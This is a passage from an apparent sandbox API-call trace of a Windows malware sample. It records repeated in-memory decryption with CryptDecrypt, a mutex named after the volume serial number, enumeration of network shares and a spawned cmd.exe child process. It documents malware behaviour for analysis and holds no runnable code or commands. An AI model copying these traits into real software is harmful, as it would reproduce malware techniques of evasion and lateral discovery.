	[0085.612] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0085.612] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0085.612] Sleep (dwMilliseconds=0x3e8) 
	[0086.628] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa191b8
	[0086.628] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32a08) returned 1
	[0086.628] CryptSetKeyParam (hKey=0x32a08, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0086.629] CryptDecrypt (in: hKey=0x32a08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa191b8, pdwDataLen=0x116fa00 | out: pbData=0xa191b8, pdwDataLen=0x116fa00) returned 1
	[0086.629] CryptDestroyKey (hKey=0x32a08) returned 1
	[0086.629] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa192a8
	[0086.629] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19460
	[0086.629] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0086.629] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32a48) returned 1
	[0086.629] CryptSetKeyParam (hKey=0x32a48, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0086.629] CryptDecrypt (in: hKey=0x32a48, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0086.629] CryptDestroyKey (hKey=0x32a48) returned 1
	[0086.629] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0086.629] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa192a8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0086.629] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19460 | out: hHeap=0xa10000) returned 1
	[0086.629] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191b8 | out: hHeap=0xa10000) returned 1
	[0086.629] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0086.629] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192a8 | out: hHeap=0xa10000) returned 1
	[0086.629] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0086.629] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32708) returned 1
	[0086.629] CryptSetKeyParam (hKey=0x32708, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0086.629] CryptDecrypt (in: hKey=0x32708, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0086.629] CryptDestroyKey (hKey=0x32708) returned 1
	[0086.629] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0086.629] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x268
	[0086.629] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102
	[0086.629] CloseHandle (hObject=0x268) returned 1
	[0086.630] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0086.630] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0086.630] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 8
	os_tid = 0xf08


Thread:
	id = 9
	os_tid = 0xd8c

	[0052.141] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x21a) returned 0xa18ca8
	[0052.141] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x28) returned 0xa15408
	[0052.141] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x228
	[0052.141] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x22c
	[0052.141] GetComputerNameW (in: lpBuffer=0xa18cb8, nSize=0x282fe50 | out: lpBuffer="NQDPDE", nSize=0x282fe50) returned 1
	[0052.141] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa10580
	[0052.141] GetLastError () returned 0xcb
	[0052.142] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x214) returned 0xa18ed0
	[0052.142] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0052.142] GetCurrentThreadId () returned 0xd8c
	[0052.142] SetLastError (dwErrCode=0xcb) 
	[0052.142] GetLastError () returned 0xcb
	[0052.142] SetLastError (dwErrCode=0xcb) 
	[0052.142] GetLastError () returned 0xcb
	[0052.142] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.143] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.143] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.143] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.143] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.143] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.143] SetLastError (dwErrCode=0xcb) 
	[0052.143] GetLastError () returned 0xcb
	[0052.144] SetLastError (dwErrCode=0xcb) 
	[0052.144] GetLastError () returned 0xcb
	[0052.144] SetLastError (dwErrCode=0xcb) 
	[0052.144] GetLastError () returned 0xcb
	[0052.144] SetLastError (dwErrCode=0xcb) 
	[0052.144] GetLastError () returned 0xcb
	[0052.144] SetLastError (dwErrCode=0xcb) 
	[0052.144] GetLastError () returned 0xcb
	[0052.144] SetLastError (dwErrCode=0xcb) 
	[0052.144] GetLastError () returned 0xcb
	[0052.144] SetLastError (dwErrCode=0xcb) 
	[0052.145] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4000) returned 0x2630048
	[0052.145] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10000) returned 0x2634050
	[0052.146] WNetOpenEnumW (in: dwScope=0x1, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x282fe14 | out: lphEnum=0x282fe14*=0x1b260) returned 0x0
	[0054.632] WNetEnumResourceW (in: hEnum=0x1b260, lpcCount=0x282fe1c, lpBuffer=0x2630048, lpBufferSize=0x282fe0c | out: lpcCount=0x282fe1c, lpBuffer=0x2630048, lpBufferSize=0x282fe0c) returned 0x103
	[0054.632] WNetCloseEnum (hEnum=0x1b260) returned 0x0
	[0054.632] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x2630048 | out: hHeap=0xa10000) returned 1
	[0054.632] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x2634050 | out: hHeap=0xa10000) returned 1
	[0054.632] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4000) returned 0x2630048
	[0054.632] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10000) returned 0x2634050
	[0054.633] WNetOpenEnumW (in: dwScope=0x4, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x282fdfc | out: lphEnum=0x282fdfc*=0x25d08) returned 0x0
	[0054.633] WNetEnumResourceW (in: hEnum=0x25d08, lpcCount=0x282fe04, lpBuffer=0x2630048, lpBufferSize=0x282fdf4 | out: lpcCount=0x282fe04, lpBuffer=0x2630048, lpBufferSize=0x282fdf4) returned 0x103
	[0054.633] WNetCloseEnum (hEnum=0x25d08) returned 0x0
	[0054.633] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x2630048 | out: hHeap=0xa10000) returned 1
	[0054.633] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x2634050 | out: hHeap=0xa10000) returned 1
	[0054.633] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4000) returned 0x2630048
	[0054.633] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10000) returned 0x2634050
	[0054.633] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x282fde4 | out: lphEnum=0x282fde4*=0x1b260) returned 0x0
	[0072.356] WNetEnumResourceW (in: hEnum=0x1b260, lpcCount=0x282fdec, lpBuffer=0x2630048, lpBufferSize=0x282fddc | out: lpcCount=0x282fdec, lpBuffer=0x2630048, lpBufferSize=0x282fddc) returned 0x0
	[0072.356] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4000) returned 0x2644058
	[0072.356] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10000) returned 0x2648060
	[0072.357] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x2630048, lphEnum=0x282fda4 | out: lphEnum=0x282fda4*=0x13f50) returned 0x0
	[0085.190] WNetEnumResourceW (in: hEnum=0x13f50, lpcCount=0x282fdac, lpBuffer=0x2644058, lpBufferSize=0x282fd9c | out: lpcCount=0x282fdac, lpBuffer=0x2644058, lpBufferSize=0x282fd9c) returned 0x0
	[0085.190] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4000) returned 0x2658068
	[0085.190] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10000) returned 0x265c070
	[0085.191] WNetOpenEnumW (dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x2644058, lphEnum=0x282fd64) 

Thread:
	id = 44
	os_tid = 0xeac


Thread:
	id = 45
	os_tid = 0xe80


Process:
	id = "3"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0xd84a000"
	os_pid = "0xdcc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x39c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 12
	os_tid = 0xa5c

	[0064.140] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7acb20000
	[0064.140] __set_app_type (_Type=0x1) 
	[0064.140] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7acb36d00) returned 0x0
	[0064.140] __getmainargs (in: _Argc=0x7ff7acb59200, _Argv=0x7ff7acb59208, _Env=0x7ff7acb59210, _DoWildCard=0, _StartInfo=0x7ff7acb5921c | out: _Argc=0x7ff7acb59200, _Argv=0x7ff7acb59208, _Env=0x7ff7acb59210) returned 0
	[0064.140] _onexit (_Func=0x7ff7acb37fd0) returned 0x7ff7acb37fd0
	[0064.141] _onexit (_Func=0x7ff7acb37fe0) returned 0x7ff7acb37fe0
	[0064.141] _onexit (_Func=0x7ff7acb37ff0) returned 0x7ff7acb37ff0
	[0064.141] _onexit (_Func=0x7ff7acb38000) returned 0x7ff7acb38000
	[0064.141] _onexit (_Func=0x7ff7acb38010) returned 0x7ff7acb38010
	[0064.142] _onexit (_Func=0x7ff7acb38020) returned 0x7ff7acb38020
	[0064.142] GetCurrentThreadId () returned 0xa5c
	[0064.142] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa5c) returned 0x70
	[0064.142] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0064.142] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990
	[0064.142] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0064.246] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0064.246] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8be8ffcd8 | out: phkResult=0xe8be8ffcd8*=0x0) returned 0x2
	[0064.246] VirtualQuery (in: lpAddress=0xe8be8ffcc4, lpBuffer=0xe8be8ffc40, dwLength=0x30 | out: lpBuffer=0xe8be8ffc40*(BaseAddress=0xe8be8ff000, AllocationBase=0xe8be800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.246] VirtualQuery (in: lpAddress=0xe8be800000, lpBuffer=0xe8be8ffc40, dwLength=0x30 | out: lpBuffer=0xe8be8ffc40*(BaseAddress=0xe8be800000, AllocationBase=0xe8be800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.246] VirtualQuery (in: lpAddress=0xe8be801000, lpBuffer=0xe8be8ffc40, dwLength=0x30 | out: lpBuffer=0xe8be8ffc40*(BaseAddress=0xe8be801000, AllocationBase=0xe8be800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.246] VirtualQuery (in: lpAddress=0xe8be804000, lpBuffer=0xe8be8ffc40, dwLength=0x30 | out: lpBuffer=0xe8be8ffc40*(BaseAddress=0xe8be804000, AllocationBase=0xe8be800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.247] VirtualQuery (in: lpAddress=0xe8be900000, lpBuffer=0xe8be8ffc40, dwLength=0x30 | out: lpBuffer=0xe8be8ffc40*(BaseAddress=0xe8be900000, AllocationBase=0xe8be900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.247] GetConsoleOutputCP () returned 0x1b5
	[0064.289] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0064.290] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7acb48150, Add=1) returned 1
	[0064.290] _get_osfhandle (_FileHandle=1) returned 0x288
	[0064.290] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff7acb5fc04 | out: lpMode=0x7ff7acb5fc04) returned 0
	[0064.290] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0064.290] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff7acb5fc00 | out: lpMode=0x7ff7acb5fc00) returned 0
	[0064.290] _get_osfhandle (_FileHandle=1) returned 0x288
	[0064.290] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0
	[0064.290] _get_osfhandle (_FileHandle=1) returned 0x288
	[0064.290] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff7acb5fc08 | out: lpMode=0x7ff7acb5fc08) returned 0
	[0064.290] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0064.290] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff7acb5fc0c | out: lpMode=0x7ff7acb5fc0c) returned 0
	[0064.290] GetEnvironmentStringsW () returned 0x256c8cc5a10*
	[0064.290] GetProcessHeap () returned 0x256c8cc0000
	[0064.290] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xa7c) returned 0x256c8cc64a0
	[0064.290] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.290] GetProcessHeap () returned 0x256c8cc0000
	[0064.290] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x8) returned 0x256c8cc6f30
	[0064.290] GetEnvironmentStringsW () returned 0x256c8cc5a10*
	[0064.290] GetProcessHeap () returned 0x256c8cc0000
	[0064.291] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xa7c) returned 0x256c8cc6f50
	[0064.291] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.291] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe8be8feb88 | out: phkResult=0xe8be8feb88*=0x7c) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x0, lpData=0xe8be8feba0*=0x4, lpcbData=0xe8be8feb84*=0x1000) returned 0x2
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x1, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x0, lpData=0xe8be8feba0*=0x1, lpcbData=0xe8be8feb84*=0x1000) returned 0x2
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x0, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x40, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x40, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x0, lpData=0xe8be8feba0*=0x40, lpcbData=0xe8be8feb84*=0x1000) returned 0x2
	[0064.291] RegCloseKey (hKey=0x7c) returned 0x0
	[0064.291] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe8be8feb88 | out: phkResult=0xe8be8feb88*=0x7c) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x0, lpData=0xe8be8feba0*=0x40, lpcbData=0xe8be8feb84*=0x1000) returned 0x2
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x1, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x0, lpData=0xe8be8feba0*=0x1, lpcbData=0xe8be8feb84*=0x1000) returned 0x2
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x0, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.291] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x9, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.292] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x4, lpData=0xe8be8feba0*=0x9, lpcbData=0xe8be8feb84*=0x4) returned 0x0
	[0064.292] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe8be8feb80, lpData=0xe8be8feba0, lpcbData=0xe8be8feb84*=0x1000 | out: lpType=0xe8be8feb80*=0x0, lpData=0xe8be8feba0*=0x9, lpcbData=0xe8be8feb84*=0x1000) returned 0x2
	[0064.292] RegCloseKey (hKey=0x7c) returned 0x0
	[0064.292] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccddb98
	[0064.292] srand (_Seed=0x5ccddb98) 
	[0064.292] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0064.292] malloc (_Size=0x4000) returned 0x256c8c554f0
	[0064.293] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0064.293] malloc (_Size=0xffce) returned 0x256c8dc0080
	[0064.435] ??_V@YAXPEAX@Z () returned 0x256c8dc0080
	[0064.435] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x256c8dc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.435] malloc (_Size=0xffce) returned 0x256c8dd0060
	[0064.436] ??_V@YAXPEAX@Z () returned 0x256c8dd0060
	[0064.436] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x256c8dd0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0064.436] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0064.436] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0064.436] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0064.437] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0064.437] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0064.437] GetProcessHeap () returned 0x256c8cc0000
	[0064.437] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc64a0) returned 1
	[0064.437] GetEnvironmentStringsW () returned 0x256c8cc5a10*
	[0064.437] GetProcessHeap () returned 0x256c8cc0000
	[0064.437] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xa94) returned 0x256c8cc7a10
	[0064.437] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.437] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0064.437] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0064.437] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0064.437] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0064.437] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0064.438] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0064.438] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0064.438] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0064.438] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0064.438] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0064.438] malloc (_Size=0xffce) returned 0x256c8de0040
	[0064.438] ??_V@YAXPEAX@Z () returned 0x256c8de0040
	[0064.439] GetProcessHeap () returned 0x256c8cc0000
	[0064.439] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x40) returned 0x256c8cc84b0
	[0064.439] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x256c8de0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x256c8de0040, lpFilePart=0xe8be8ff700 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe8be8ff700*="Desktop") returned 0x17
	[0064.439] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0064.439] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xe8be8ff430 | out: lpFindFileData=0xe8be8ff430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x256c8cc8500
	[0064.440] FindClose (in: hFindFile=0x256c8cc8500 | out: hFindFile=0x256c8cc8500) returned 1
